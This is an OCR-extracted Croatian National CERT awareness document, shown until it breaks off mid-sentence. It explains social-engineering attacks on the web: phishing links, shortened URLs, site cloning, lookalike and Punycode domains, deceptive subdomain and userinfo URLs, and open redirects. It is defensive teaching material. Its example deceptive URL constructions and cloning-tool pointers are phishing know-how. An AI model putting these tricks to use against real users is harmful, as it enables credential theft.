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Ovaj dokument izradio je Laboratorij za sustave i signale Zavoda za elektronicke sustave
i obradbu informacija Fakulteta elektrotehnike i racunarstva Sveucilista u Zagrebu.

Ovaj dokument vlasnistvo je Nacionalnog CERT-a. Namijenjen je javnoj objavi te se svatko
smije njime koristiti i na njega se pozivati, ali isklju¢ivo u izvornom obliku, bez izmjena,
uz obvezno navodenje izvora podataka. KoriStenje ovog dokumenta protivno gornjim
navodima povreda je autorskih prava CARNET-a, a sve navedeno u skladu je sa zakonskim
odredbama Republike Hrvatske.
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1 Uvod

Svakodnevnim koriStenjem weba korisnici su sve viSe izloZeni online prijevarama i
napadima na svoja racunala. Pritom sve viSe do izrazaja dolazi i socijalno inZenjerstvo, tj.
napadaci pokuSavaju manipulirati korisnikovim emocijama i navesti ga na radnje koje ce
ga dovesti u kontakt sa zlonamjernim sadrZajem.

Socijalni inZenjering je postupak manipulacije osobama kako bi se izvele nedozvoljene
akcije ili otkrile povjerljive informacije bez izravnog proboja u sustav. Obi¢no obuhvaca
prikupljanje informacija, prevaru ili nagovaranje korisnika na predaju vjerodajnica za
odredene korisnicke racune. No, socijalno inZenjerstvo se moZe zloupotrijebiti i za napade
na korisnikovo racunalo, i to na nacin da se prevari korisnika da posjeti neku odredenu
stranicu (koju inace nikad ne bi posjetio), a koju je napadac unaprijed pripremio za napad
na njegov preglednik. Zloupotreba socijalnog inZenjerstva za napade na webu moZe
rezultirati:

e Kradom Kkorisni¢kih vjerodajnica i ostalih osjetljivih podataka. Zrtvu se
socijalnim inZenjeringom navodi da pristupi posebno pripremljenoj web stranici
uvjeravajuci ju da je na legitimnoj stranici (npr. stranica banke, Gmail, Facebook...)
i dok Zrtva unosi svoje korisnicko ime/adresu e-poste i lozinku, napadac ih krade
i dobiva pristup korisnickom racunu Zrtve kojeg moZe zloupotrebljavati na razne
nacine, npr. Siriti zlonamjerni sadrZaj u Zrtvino ime, povecavati broj pregleda neke
odredene stranice, itd.

e Napadom na Zrtvino racunalo. Napadacev zlonamjerni JavaScript kod, koji je
pohranjen na stranici na koju je Zrtva namamljena socijalnim inZenjerstvom, trazi
i iskoriStava ranjivosti Zrtvinog web preglednika. Jednom kad uspjeSno napadne
Zrtvino racunalo, dobiva pristup i moZe ga zloupotrijebiti na razne nacine, npr.
instalacijom zlonamjernog softvera, Sifriranjem podataka, ukljuc¢ivanjem Zrtvinog
racunala u botnet mrezu, troSenjem Zrtvinih resursa za rudarenje kriptovaluta, itd.
Cesto se za automatizirane napade na racunala veéeg broja Korisnika Koriste
Exploit kitovi koji su opisani u prethodnom dokumentu Nacionalnog CERT-a

Exploit kitovi.

Socijalnim inZenjerstvom na webu pokusava se podmetnuti poveznica cije ¢e otvaranje
Zrtva subjektivno procijeniti bezopasnim. Jednom kad, otvaranjem te poveznice, Zrtva
stupi u kontakt sa stranicom koja pohranjuje zlonamjerni kod, napadac¢ moZe iskoristiti
neku softversku (tehnicku) ranjivost i napasti korisnikovo ra¢unalo. U kontekstu ovog
dokumenta, tj. zZloupotrebe socijalnog inZenjerstva za napade na webu, spomenut e se i
objasniti niz sigurnosnih ranjivosti i napada koji se oslanjanju na:

1. Obmanjivanje Zrtve, tj. socijalni inZenjering. Zrtva je prevarena (podmetanjem
URL-a ili nekom slicnom tehnikom) da posjeti neku stranicu koju sama nikad
svjesno ne bi posjetila ili obavi radnju koju inaCe ne bi napravila (npr. unos
korisnickih vjerodajnica na napadacevu stranicu).

2. Iskoristavanje softverske ranjivosti web stranice ili web preglednika.
Ranjivosti legitimnih web stranica omogucéavaju napadacima da zloupotrijebe te
stranice i povjerenje koje Zrtva ima u njih za dovodenje Zrtve u kontakt sa
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zlonamjernim kodom. Ranjivosti web preglednika omogucuju napadacu da
napadne Zrtvino racunalo i stekne kontrolu nad njim.

Socijalno inZenjerstvo joS uspjeSnije koristi druStvene mreZe za napade na webu. Jedan
uobicajen scenarij napada koji kombinira socijalno inZenjerstvo i tehnic¢ki napad je
sljedeci:

1)

2)

3)

Zrtva na Facebooku na zidu svog prijatelja vidi poveznicu s opisom ,,Moj prvi video."
Zrtva je jako znatiZeljna oko toga Sto se nalazi u videu, pogotovo jer ga je objavio
njen prijatelj, i Zeli znati o cemu je rijec.

Zrtva klikne na video i preusmjerena je na stranicu koja ju obavjestava da mora
skinuti neki dodatak (npr. Adobe Flash) za preglednik kako bi pogledala video. lako
Zrtva inace ne bi preuzela taj dodatak, Zeli pogledati video i preuzima ga. U ovom
je koraku napadac iskoristio socijalno inZenjerstvo kako bi postigao da Zrtva
preuzme zlonamjerni softver pretvarajuci se da je rije¢ o dodatku potrebnom za
gledanje videa.

Video ne postoji, ali dodatak koji je Zrtva preuzela (koji se predstavlja kao Adobe
Flash) je u stvari zlonamjerni softver koji ¢e napasti Zrtvu i preuzeti njen korisnicki
racun na npr. Facebooku. Sad napada¢ moze Koristiti i Zrtvin korisnicki racun za
daljnju distribuciju ,Mog prvog videa“ i istom tehnikom napasti Zrtvine prijatelje
koji Zele pogledati video.

lako je uobicajen cilj ovakvog napada novcana korist, nedavno je zabiljeZzen takozvani
Facebook Virus koji je pratio gornji scenarij, a cilj napada bio je povecati broj pregleda na
odredenim stranicama (1).
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2 Tehnike napada socijalnim inZenjerstvom na webu

Prvi korak napada na webu je socijalnim inZenjerstvom preusmjeriti Zrtvu na stranicu
koju napadac ima pod kontrolom. Ta stranica moze biti:

e stranica koju je programirao napadac i koja pohranjuje zlonamjerni kéd koji ¢e
napasti zrtvu ili prikupiti osjetljive informacije,

e stranica koja je legitimna, ali je napadac iskoristio neku ranjivost kako bi u nju
umetnuo svoj zlonamjerni kéd koji ¢e napasti zrtvu ili prikupiti osjetljive
informacije,

e stranica na koju napadac Zeli dovuéi Sto veci broj pregleda/klikova, pokusava
nesto dokazati ili sl.

U kontekstu socijalnog inZenjerstva na webu, kontakt sa Zrtvom ostvaruje se
podmetanjem URL-a koji vodi na stranicu koju napada¢ ima pod kontrolom. Neke
osnovne, ve¢ puno puta videne tehnike socijalnog inZenjeringa koje napadaci masovno
koriste kako bi Zrtvu preusmjerili na svoju stranicu su:

e Spam/phishing poruke e-poste. Laznim predstavljanjem napadac¢ pokusava od
korisnika izvuci osjetljive podatke ili ga prevariti da klikne na neku poveznicu koja
¢e ga dovesti u kontakt s napadacevom web stranicom. Na slici 1 je primjer jedne
takve poruke koja pokuSava uvjeriti korisnika da ju je poslao Facebook. Kad bi
Zrtva kliknula na tipku ,View messages” ili ,Go to Facebook®, u stvari bi bila
preusmjerena na napadacevu stranicu.

You have 2 messages that will be deleted in a few days disclose =
Spam  x
! NotiﬁcationFacebooliﬁelds@lyonscompany.com>I Mar 13 (12 days ago) - v

tome =

A\ Why is this message in Spam? It's similar to messages that were detected by our spam filters. Learn more

™ Images are not displayed. Display images below

You haven't been to Facebook for a few days, and a lot happened whils you were away.

You have 2 messages that will be deletad in a few days

Slika 1 Primjer phishing poruke e-poste (2)
e Sumnjivi oglasi. Na legitimnim stranicama se mogu pojaviti oglasi sa

zlonamjernim kddom. Na neke od njih je potrebno kliknuti da bi se dogodio napad,
a neki ¢e samim svojim ucitavanjem izvrsSiti napad u pozadini. Oglasi na koje treba

Verzija 1.00 CERT.hr-PUBDOC-2019-11-390 stranica5/34



C=RT.hr

kliknuti su alarmantni i pokusSavaju uznemiriti, preplasiti korisnika, dati mu nadu
da ¢e nesto osvojiti (kao Sto je prikazano na slici 2) ili rijeSiti neki problem.

Slika 2 Primjer zlonamjernog oglasa (3)

e Drustvene mreze. Stvaranjem laznih profila/stranica ili hakiranjem postojecih,
napadac moZe slati poruke s poveznicama na svoju stranicu ostalim korisnicima
ili moZe pisati objave koje sadrZe poveznicu na svoj zid ili zid grupa s puno ¢lanova.
Na slikama 3 i 4 su primjeri takvih objava/poruka.

(a | il Like Page

10 Amazing Things Nelson Mandela Said That Mot Many People Know
== htip://bit.ly/1aLOUAC

Like - Comment - Share

f5 b T L. ikes this.

||

Slika 3 Primjer objave sa zlonamjernom poveznicom na drustvenoj mrezi Facebook (4)

B You're friends on Facebook

‘ Lives in Stockholm, Sweden
¥
y & ’

David Video =1

http://bitly.com/2vBf3QL?
David

P@eeea@BE b

=

Slika 4 Primjer poruke sa zlonamjernom poveznicom na drustvenoj mrezi Facebook (4)
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¢ Postavljanje objava na forume/u komentare legitimnih stranica s velikim
brojem Kkorisnika. Napada¢ moZe svoju poveznicu ostaviti na forumima
popularnih i visoko posjecenih stranica poput Reddita, Forum.hr, Steama... Na slici
5 prikazano je otvaranje tema i ostavljanje poveznica na forum popularne
hrvatske stranice Moje Krpice.

= ED | | = =

T CHAPTER TWO 2019

[

[

B
I

Slika 5 Otvaranje teme i postavljanje zlonamjernih poveznica na popularnu web stranicu Moje Krpice

Detalje o nabrojanim tehnikama moguce je prona¢i u prethodnom dokumentu
Nacionalnog CERT-a Phishing, dok ¢e se u nastavku ovog dokumenta obraditi naprednije
i opasnije tehnike napada.

Nakon $to je Zrtva preusmjerena na napadacevu stranicu, moZe se dogoditi neki (ili oba)
od sljedecih ishoda:

e Napadac prikuplja osjetljive Zrtvine podatke poput korisnickih imena, lozinki,
kreditnih kartica, bez konkretnog napada na tehnicku ranjivost, tj. korisnikovo
racunalo. Za takve se tehnike moZe ¢uti da su dio phishinga.

e Prethodno pripremljen kéd napada korisnikovo racunalo i napada preuzima
kontrolu nad njim kako bi, posljedi¢no, Sifrirao korisnikovo racunalo i traZio
otkupninu, integrirao ga u botnet mrezu ili sl. Cesto se za takve napade koriste
Exploit kitovi o kojima se viSe moZe procitati u dokumentu Nacionalnog CERT-a

Exploit kitovi.

Napadacu nije uvijek cilj zaraziti korisnikovo racunalo, ve¢ mu je moZda dovoljno do¢i do
osjetljivih podataka ili prikupiti preglede na odredenoj stranici. Kako bi doSao do
osjetljivih podataka, napadaceva je stranica vizualno identi¢na originalnoj web stranici za
koju se predstavlja. Zrtvu ée to ohrabriti da upi$e svoje podatke za prijavu jer vjeruje da
se nalazi na originalnoj, legitimnoj stranici.

Nekad je cilj napada preuzeti kontrolu nad Zrtvinim racunalom i zaraziti ga
ransomwareom, ukljuciti u botnet mrezu, instalirati mu zlonamjerni softver ili nekako
slicno zloupotrijebiti pristup racunalu. Kako bi to postigao, napadac traZzi ranjivosti i
napada zZrtvin web preglednik zlonamjernim JavaScript koédom. Ranjivost je
propust/pogreska u softveru koju je moguce zloupotrijebiti - primjerice, ranjivost u web
pregledniku (npr. Google Chrome, Mozilla Firefox, Internet Explorer...) moZe omoguciti
napadacu da pomoc¢u posebno konstruirane web stranice napadne posjetitelje i preuzme
kontrolu nad njihovim racunalom. Kao $to je opisano u nastavku, veinom su to napadi
koje korisnik moZe teSko ili nikako sprijeciti, ve¢ je vecinska odgovornost na
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programerima web stranica. ViSe o napadima na web preglednik moZe se pronaci u
dokumentu Nacionalnog CERT-a Sigurnosni rizici JavaScript kdda prilikom pregledavanja
weba.

2.1 URL

Kao Sto je ve¢ reCeno, kontakt sa Zrtvom ostvaruje se podmetanjem URL-a koji vodi na
napadacevu stranicu.

Svaka web stranica sastoji se od viSe datoteka - te datoteke mogu biti HTML ili CSS
datoteke, slike, JavaScript, PHP ili ASP.NET skripte, zvukovni ili video zapisi itd., ukratko
sve Sto se prikazuje na stranici ili omogucuje njen rad. U kontekstu arhitekture weba,
svaku od tih pojedinih datoteka moZemo promatrati kao resurs. URL je u stvari web
adresa na kojoj se nalazi resurs kojem korisnik pokusava pristupiti.

Recimo da korisnik weba pretrazuje dostupne apartmane za nocenje u Zagrebu za vrijeme
adventa. Kriteriji po kojima pretraZuje prikazani su na slici 6.

(@) Smiestaj za odmar, domovi, doz X +

&« c @ hrairbnb.com
ST E—————

Rezervirajte jedinstvene
smjestaje i zanimljive
aktivnosti.

GDJE

Zagreb, Hrvatska

DOLAZAK ODLAZAK
petak, 20. prosinac nedjelja, 22. prosinac
GOSTI
2 gosta ~

==1
Slika 6 Pretrazivanje dostupnog smjestaja na stranici AirBnB
Kad Kklikne na tipku ,PretraZi“, korisnik ¢e biti preusmjereni na stranicu s rezultatima

pretrazivanja koja je prikazana na slici 7. Osim $to ¢e se promijeniti sadrZaj, promijenit ce
se i URL koji se nalazi u adresnoj traci.
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; = [m] X
/Q\ Zagreb - Airbnb % +

<« (6] I @ hrairbnb.com/s/Zagreb--Hrvatska/all?query =Zagreb%2C%20Hrvatskadcheckin=2019-12-20. Iﬁ

& v Q Zagreb

Gdje odsjesti

e ——

CIJELISTAN - 1KREVET CIJELAKUCA UNIZU - 1KREVET

SPECIAL OFFER CROATIA - ZAGREB, Center Studio apartman Kika 3 ** + private P
Apartment 181kn po nocenju - 361 kn ukupno ()
289 kn po nocenju - 578 kn ukupno () *4.92(71) - Superhost

%4.86(200) - Superhost

Slika 7 Rezultati pretrage po zadanim kriterijima

Taj URL izgleda kao $to je prikazano na slici 8.

@ llﬁps:ﬁf@lu'. airbnb.com @;’ s/Zagreb--Hrvatska/ all@'.”quew=2aeu‘eb%l(.‘%
20Hrvatska&checkin=2019-12-20& checkout=2019-12-22 &adults=2 & children=0& infants=

D& zuests=2&place id=ChIJOcwCyvZLWZUcRisLTEIYKR To&refinement paths%5B%

sD=%2Ffor vou&toddlers=0&source=mc search bar&search type=unknown

Slika 8 URL na koji je preusmjeren korisnik nakon pretraZivanja

Svaki URL na webu prati standard za sastavljanje URL-a, Sto znaci da se sastoji od:

1.

Oznaka protokola kojim se pristupa resursu. U ovom slucaju je to HTTPS. Osim
HTTPS-a, protokol moZe biti i HTTP, FTP, ...

Ime domene (i poddomene, ako postoji) ili IP adresa posluzZitelja na kojoj se
nalazi resurs. U ovom slucaju je ime domene airbnb.com. Vlasnik stranice mora
registrirati jedinstvenu Zeljenu domenu na kojoj ¢e se nalaziti njegova web
stranica. No, prije airbnb.com postoji ,hr koji je od domene odijeljen tockom (.),
Sto u stvari oznacava poddomenu. Jednom kad registrira domenu, vlasnik web
stranice moZe registrirati i viSe poddomena kako bi bolje i preglednije organizirao
svoju web stranicu. Npr. na adresi hr.airbnb.com nalazit e se resursi web stranice
prilagodeni hrvatskom trziStu (hrvatski jezik, latinicno pismo, u preporukama
mjesta koja Hrvati Cesto pretraZuju, itd.), a na adresi uk.airbnb.com resursi web
stranice za ukrajinsko trziSte (¢irilicno pismo, ukrajinski jezik, mjesta koja
Ukrajinci Cesto pretraZzuju itd.).

»Put“ do resursa, tj. struktura mapa u datotecnom sustavu posluzitelja. U
ovom slucaju resurs kojeg korisnik pokuSava dohvatiti je skripta all pohranjena u
mapi s/Zagreb--Hrvatska koja pretraZuje bazu podataka po korisnikovim
kriterijima.
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4. Parametri. Naziv za ostatak znakovnog niza je Query String, a sastoji se od niza
naziva i vrijednosti parametara. U ovom konkretnom primjeru postoje parametri
naziva query, checkin, checkout, adults, children... i oni pohranjuju podatke koje je
korisnik unio. Npr. korisnik je kao datum kada se Zeli prijaviti odabrao 20.12.2019.,,
i to je pohranjeno u parametar checkin. Skripta all ¢e iz ovih parametara dohvatiti
kriterije po kojima treba pretrazivati. Osim parametara koje je unio Kkorisnik,
postoje parametri poput source i sourcetype u kojima se nalaze podaci koje je
unaprijed definirao programer stranice, a ne korisnik.

2.1.1 Skracivanje URL-a

Kao Sto se moZe primijetiti iz prethodnog primjera, URL-ovi mogu biti jako dugi - URL iz
prethodnog primjera se proteZe kroz Ccetiri retka. To je posebice nezgodno kod
referenciranja ili slanja poveznice putem neke drustvene mreZe ili instant messaging /chat
usluga jer postoji ograniCenje na broj znakova koje korisnik smije unijeti. 1z tih razloga
osmisljena je tehnika za ,skra¢ivanje URL-a“, takozvani URL shortening. Neke stranice koje
nude uslugu skrac¢ivanja URL-a su goo.gl, tinyurl.com i bit.ly.

Kada bi se gore navedena AirBnB poveznica skratila na stranici TinyURL, rezultat bi bio
https://tinyurl.com/y4neewgk kao S$to je prikazano na slici 9.

TinyURL was created!

The following URL:

https:/ fhr.airbnb.com/s/Zagreb--Hrvatska/all?
query=Zagreb%2C%20Hrvatska&checkin=2019-12-
20&checkout=2019-12-
22&adults=2&children=0&infants=0&guests=28&place_id=Ch
DI0cwCyZLWZUcRisL7KIYkRTo&refinement_paths%5B%5D=
% 2Ffor_you&toddlers=0&source=mc_search_bar&search_ty
pe=unknown

has a length of 272 characters and resulted in the following TinyURL which has a length of 28 characters:

https:/ ftinyurl.com/y4neewgk
[Open in new window] [Copy to clipboard]

Slika 9 Skraéivanje dugacke AirBnB poveznice

URL je sad skracen s 272 na 28 znakova. No, buduc¢i da se iz takvog URL-a golim okom ne
moZe iSCitati o kojoj je stranici rijec jer se ne vidi domensko ime, ne moZe se ni zakljuciti
vodi li takav URL na zlonamjernu stranicu pa zbog toga skraceni URL-ovi pogoduju
napadacima i predstavljaju sigurnosni problem. Zato je preporuka, prije otvaranja bilo
kakvog skrac¢enog URL-a, provjeriti kuda on u stvari vodi.

Kako bi se prije otvaranja provjerilo o kojem je URL-u rije¢, moZe se koristiti (5):

e ,Pretpregled, odnosno preview opcija usluge za skrac¢ivanje URL-ova.
Npr. za TinyURL se moZe dodati rijec ,preview”izmedu https:// i tinyurl.com kao
Sto je prikazano na slici 10, a za goo.gl i bit.ly znak ,+“ na kraju skra¢enog URL-a
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& C | & previewtinyurl.com/ydneswgk

TinyURL

Making over a billion long URLs usable! Serving billions of redirects per month.
Home Preview of TinyURL.com/y4neewqgk

Example This TinyURL redirects to:

Make Toolbar https:/ fhr.airbnb.com/s/Zagreb--Hrvatska/all?
HEHGH query=Zagreb%2C%20Hrvatska&checkin=2019-1
Redirection 2-20&checkout=2019-12-22Radults=28
- ;children=0&infants=0&gquests=2&pl
ace_id=ChIJOcwCyZLWZUcRisL7KIYkRTo8&refine
ment_paths%5B%5D=%2Ffor_you&toddlers=0&am
Link to Us! p;source=mc_search_bar&search_type=unknow

n

Preview Feature™"

Terms of use
Proceed to this site.
Contact Us!

Slika 10 Opcija preview na TinyURL kojom se moZe vidjeti kuda URL zapravo vodi

e Koristenje stranica za provjeru URL-a. Neke od njih su unfurlr.com,
getlinkinfo.com, unshorten.it... Na slici 11 prikazani su rezultati pretrage za
prethodni primjer.

GetLinkinfo

https:/itinyurl.com/ydneewqk m

Enter any URL, for example: http:/inyurl.com/2unsh, hitp://bit ly/1dNVPAW

Link Information
1 Title Smijestaj za odmor, domovi, doZivljaji i mjesta — Airbnb

Description Nezaboravna putovanja podinju s Airbnbom. Pronadite avanture u dalekim krajevima ili u viastitom
gradu, istraZite jedinstvene smjedtaje, doZivijaje i mjesta diljem svijeta.

= URL hitps:itinyurl. comfy4neewqk mars info

&y Effective URL  https://hrairbnb.comis/Zagreb—Hrvatskalall?queny=7agreb%2C%20Hrvatskadcheckin=2019-12-
20&checkout=2019-12-
22&adults=2&children=0&infants=0&guests=2&place id=ChlJOcwCyZLWZUcRisL7KJYkRTo&refinement paths%5B8%5

mare info

=% Redirections 1. https-Atinyurl. com/y4neewagk more info
2. https-i/hr.airbnb com/s/Zagreb—-Hrvatska/all?query=agreb%2C %20Hvatska&checkin=2019-
12-208checkout=2019-12-
22&adults=2&children=0&infants=08&quests=2&place id=ChlJOcwCyZLWZUCRISL TKJYkRTo&refinement paths%5B8%

mere info

Slika 11 Rezultati pretrage za skraceni AirBnB URL

2.2 Kloniranje stranica

Nije dovoljno namamiti korisnika da stupi u kontakt s napadac¢evom web stranicom,
potrebno ga je na njoj i zadrzati (dok se ne ucita zlonamjerni kod), motivirati da unese
svoje korisnicke podatke i, idealno, prikriti ¢injenicu da se dogodio napad kako Zrtva ne
bi pokrenula antivirusni softver, prijavila da je stranica zlonamjerna i sl. Kako bi obmana
bila uvjerljivija, najées¢e napadaceva stranica izgleda identi¢no kao ona originalna
stranica za koju se predstavlja.

Kloniranje stranica je relativno jednostavno, a postoje i brojni alati koji to dodatno
pojednostavljuju i olakSavaju. Jedna od njih je HTTtrack. Dovoljno je samo unijeti URL
stranice i postaviti Zeljene dodatne postavke i alat zapocinje s kopiranjem stranice. Na
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slici 12 prikazana je kopirana (lijevo) i originalna verzija (desno) stranice Nacionalnog
CERT-a.

] EI] 5 Naslovnica - CERT.hr X |+ v - m] X | <= B3 Naslovnica- CERThr X ‘+ / =; (m] X
~ = 0O o | & file:///C:/Users/CERT/L big | = 1 e O | httpsy//www.certhr/

Cetvrtak. 12. rujan 2018.

Cetvrtak, 12 rujan 2019.

C=RT.hr B IC=RT.hr a B

surfaj sigurnije surfaj sigurnije

- i
Lazna PayPal stranica Siri ransomware ¢

Y

Lazna PayPal stranica Siri ransomw.
A0 = P

AD

®€000O0 ®@000O0

ALATI y ALATI N

Slika 12 Klonirana (lijevo) i originalna (desno) stranica Nacionalnog CERT-a

2.3 Laziranje odredista poveznice

Umjesto stvarnog odredista piSe URL napadaceve Web stranice, a prividno odrediste je
URL koji Zrtvi izgleda legitimno. Slika 13Error! Reference source not found. prikazuje
kako laZiranje odrediSta poveznice u HTML-u moZe izgledati iz Zrtvine perspektive: u
tekstu poruke se naizgled nalazi poveznica na Web stranicu banke, dok se u statusnoj traci
prikazuje stvarno odrediste poveznice - napadaceva Web stranica.

Dear customer,

Please update your information at:

http:/ivour-ba nEE

Best regards

http://attacker-website

Slika 13 Primjer laZiranja odredista poveznice iz perspektive mete

2.4 Lazni/zavaravajuci URL

Ideja zavaravajuceg URL-a je registrirati stranicu na domeni koja vizualno izgleda sli¢no
nekoj legitimnoj domeni i zavarati Zrtvu da ga otvori misleci da je rijec o stranici na ¢iju
domenu napadaceva domena podsjeca.

Time ¢e lakSe navesti Zrtvu da otvori taj URL i oteZati joj shvacanje da je napadnuta. Npr.
napada moze registrirati stranicu na domeni www.cert.com (a domena originalne
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stranice je www.cert.hr) i tamo pohraniti zlonamjerni kdd. Zrtva kojoj bude podmetnut
takav URL mozda nece primijetiti da nije rije¢ o CERT-ovoj stranici jer je URL vrlo sli¢an.

Neke od Cestih tehnika kojima se napadaci koriste za slaganje zavaravajucih URL-a su:
e Registriranje slicne domene
e Punycode napad (homografski napad)
e Kombiniranje originalne i napadaceve domene

2.4.1 Slicne domene

Slicne domene su domene koje se razlikuju u jednom ili viSe znakova na nacin da Zrtva ne
uoci odmah razliku jer su domene vizualno sli¢ne. Neki od primjera su:

www.g00gle.com umjesto www.google.com (0 umjesto o)
www.ebaay.com umjesto www.ebay.com (dva a umjesto jednog)

www.flixbus.com umjesto www.flixbus.com (veliko i, tj. I, umjesto 1)

Zrtva ¢e ponekad i sama napraviti tipfeler i krivo unijeti adresu u preglednik, npr.
gogle.com umjesto google.com. Napadac moZe registrirati svoju zlonamjernu stranicu na
takvoj adresi i ¢ekati da je Zrtve zabunom posjete.

Zanimljivo je spomenuti alat dnstwist koji predvida sve moguce slicne domene koje je
moguce registrirati i prikazuje sve vec registrirane domene koje su se trudile sli¢iti
odredenoj domeni i time prevariti korisnike (6). Na slici 14 prikazana je opcija alata da
prikaZe sve registrirane domene slicne domeni popularne legitimne stranice Bleeping
Computer za Koje je zabiljeZeno da su KoriStene za napade. Koristenjem takvih domena
napadaci su pokusali prevariti korisnike zloupotrebljavaju¢i njihovo povjerenje u
stranicu Bleeping Computer.

bleepingcmputer.com 103.224.212.222 NS:
bleepingcomuter.com 185.53.179.8 NS:
bleepingcompter.com 216.157.88.22 N
beepingcomputer.com 199.191.50.73 NS:
bleepingcompuer.com 81.171.22.4 NS:
leepingcomputer.com 69.162.80.51 NS:
blepingcomputer.com 78.41.204.29 NS:n
bleepincomputer.com 208.91.196.105 isk.s
bleeepingcomputer.com 216.157.88.26 N
bleeppingcomputer.com 173.239.5.6 NS:insl.

b.leepingcomputer.com 69.162.80.51
bleepi.ngcomputer.com 185.53.179.6 NS:
bleepin.gcomputer.com 216.157.88.23
bleeping.computer.com 52.85.93.102
bleepingc.omputer.com 176.74.176.187
bleepingco.mputer.com 52.71.185.125
bleepingcomput.er.com 208.73.211.70
bleepigncomputer.com  NS:
bleepingcomputor.com  184.168.221.104 NS:
test@ubuntu:”/dnstwist$

Slika 14 Alat dnstwist (6)
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2.4.2 Punycode napad (homografski napad)

Punycode napad je podmetanje URL-a za koji je gotovo nemoguce zamijetiti da je drugaciji
od URL-a legitimne stranice jer su vizualno gotovo identicni, tj. razlika je teSko vidljiva ili
uopce nije vidljiva ljudskom oku zbog koristenja Punycodea.

Unicode i ASCII su standardni nacini kodiranja znakova u brojeve kako bi ih racunalo
razumjelo (jer racunalo razumije samo brojeve koje zatim pretvara u bitove). Unicode
nastoji podrzati svaki moguci znak, Sto ukljucuje i razli¢ita pisma razli¢itih jezika,
emotikone, razne simbole itd., dok ASCII podrZava samo 128 standardnih znakova iz
americkog pisma (7). Npr. Unicode e podrZavati kodiranje hrvatskih palatala (¢, ¢, 7, §, 4,
dz), dok ASCII nece.

Ogranicen skup ASCII znakova dozvoljenih u DNS-u (engl. Domain Name Server) sprjecava
registraciju Zeljenih domena drzavama koje u svom pismu imaju viSe znakova no $to ih
podrzava standardni ASCII. Kako bi se to ipak omogucilo, odobren je IDNA standard (eng.
Internationalizing Domain Names in Applications) kojim korisnicke aplikacije, kao sto je
web preglednik, mapiraju Unicode znakove u odgovarajuc¢i ASCII znakovni skup koristeci
Punycode metodu. Zahvaljujuci tome, netko iz Hrvatske je mogao registrirati domenu
¢.com, iako znak ,,¢“ ne postoji u ASCII zapisu.

Sigurnosni problem koji donosi Punycode je to da se domena legitimne stranice moZe
imitirati Unicode znakovima koji pripadaju drugom pismu, a izgledaju sli¢no ili identi¢no
kao ASCII znakovi koji se pojavljuju u izvornom URL-u. Drugim rije¢ima, podmece se
Unicode domena koja izgleda kao ASCII domena.

2017. godine sigurnosni struc¢njak uspio je registrirati domenu koja izgleda kao
»apple.com®, Sto ne bi smjelo biti moguce jer je ta domena ve¢ zauzeta i koristi je tvrtka
Apple (8). No, domena koju je on registrirao u stvari je sastavljena od ¢irili¢nih znakova
umjesto latini¢nih, $to u ASCII zapisu nije ,apple.com” nego "xn-80ak6aa92e.com".
Znakovni niz ,xn“ na poCetnu naziva domene oznacava da je rije¢ o Punycode zapisu za
Unicode znakove.

Takva domena izgleda identi¢no kao originalna Appleova i ima valjan SSL certifikat izdan
za njenu ASCII adresu, i da iza nje stoji uvjerljiv Apple sadrZaj, ni najoprezniji korisnici ne
bi uspjeli uociti prevaru. U trenutku tog istrazivanja popularni web preglednici poput
Chromea, Firefoxa, i Opere korisniku nisu dali nikakvu informaciju kako je rije¢ o
Punycodeu, ve¢ su mu prikazali URL kao Sto je prikazan na slici 15. Napad je bilo moguce
uociti tek kod provjere SSL certifikata, kao $to je prikazano na slici 16.
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Monit) S| X
[ Hey tiysre*
& @ | & Secure | https//www.apple.com h*d
Hey there!

This may or may not be the site you are looking for! This site is obviously not
affiliated with Apple, but rather a demonstration of a flaw in the way unicode
domains are handled in browsers.

See what this is about

Slika 15 Punycode domena apple.com

a8 apple.com

E Secure connection

www.xn--80akbaal2e.com
The

nnection is secure.

First visited: Ma previous visits recorded

Certificate:

Connection:

Slika 16 SSL certifikat za domenu "apple.com”

U meduvremenu je vecina preglednika rijesila problem na nacin da ne prikazuju Unicode
zapis ako znakovi ne pripadaju istom pismu, nego ASCII. Jedini veci web preglednik koji i
dalje prikazuje Unicode zapis neovisno o tome je Mozilla Firefox.

2.4.3 Kombiniranje originalne i napadaceve domene

Nedavno su zabiljeZeni pokuSaji prevare preko stranice ciji je URL sastavljen tako da
izgleda kao da pripada agenciji AirBnB (9):

http://www.airbnb.com-online-
booking.eu/booking/listing/197b4e/?rent=1486975712?s=eRGFZrin#?host

Pocetak URL-a identican je legitimnoj stranici na adresi airbnb.com i korisnik mozda nece
i¢i za tim da u nastavku piSe -online-booking.eu ili ¢e, ne poznaju¢i strukturu URL-a,
misliti da je bitan samo dio URL-a do .com. U stvari je napadac registrirao svoju stranicu
na domeni ,,com-online-booking.eu“, i dodatno registrirao poddomenu , airbnb*“.

Ako je napadac registrirao svoju domenu napadaceva-stranica.com, on moZze registrirati i
bilo koju poddomenu. Napada¢ moZe registrirati poddomenu stranica-banke i
zloupotrijebiti ¢injenicu da se u URL-u poddomena nalazi ispred domene. Tada moze
sastaviti sljede¢i URL kojim moZe zbuniti i navesti Zrtvu da pomisli da pripada stranici
banke:
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http://stranica-banke.napadaceva-stranica.com/

Takoder, napada¢ moZe zloupotrijebiti moguénost slanja korisnickog imena i lozinke
preko URL-a i sastaviti sljede¢i URL:

http://stranica:banke@napadaceva-stranica.com/

2.5 Open Redirect

,O0tvoreno preusmjeravanje“, poznato pod terminom Open Redirect, ranjivost je
legitimnih web stranica koju napadaci zloupotrebljavaju kako bi preusmijerili Zrtvu na
stranicu koja je pod njihovom kontrolom i moze biti zlonamjerna.

Kao $to sam naziv kaZe, ako web stranica ima Open Redirect ranjivost, to znaci da je s nje
(preko parametra u URL-u za preusmjeravanje) moguce korisnika preusmjeriti na bilo
koju stranicu (za razliku od zatvorenog preusmjeravanja kad se korisnika moZe
preusmjeriti samo na predefinirane ili provjerene stranice).

Korisnike se sve viSe educira da provjeravaju URL i ne vjeruju stranicama ¢ija je domena
nesto poput www.carnat.hr, www.c3rt.hr i tome sli¢no. Open Redirect napad ne izaziva
sumnju korisnika jer poveznica pocCinje s domenskim nazivom sigurne stranice, npr.
www.facebook.com, www.cert.hr, www.google.hr, a preusmjeravanje na napadacevu

stranicu se dogada preko parametra koji se nalazi tek pri kraju URL-a. Pojednostavljeno,
poveznica bi izgledala:

lako bi korisnik moZda i provjerio URL do kraja da je rije¢ o nekoj njemu nepoznatoj ili
cudnoj stranici, sama ¢injenica da vidi domenu neke sigurne, pouzdane, legitimne stranice
kojoj vjeruje mu ulijeva povjerenje i on razmislja na nacin ,0vo je poveznica na Facebook,
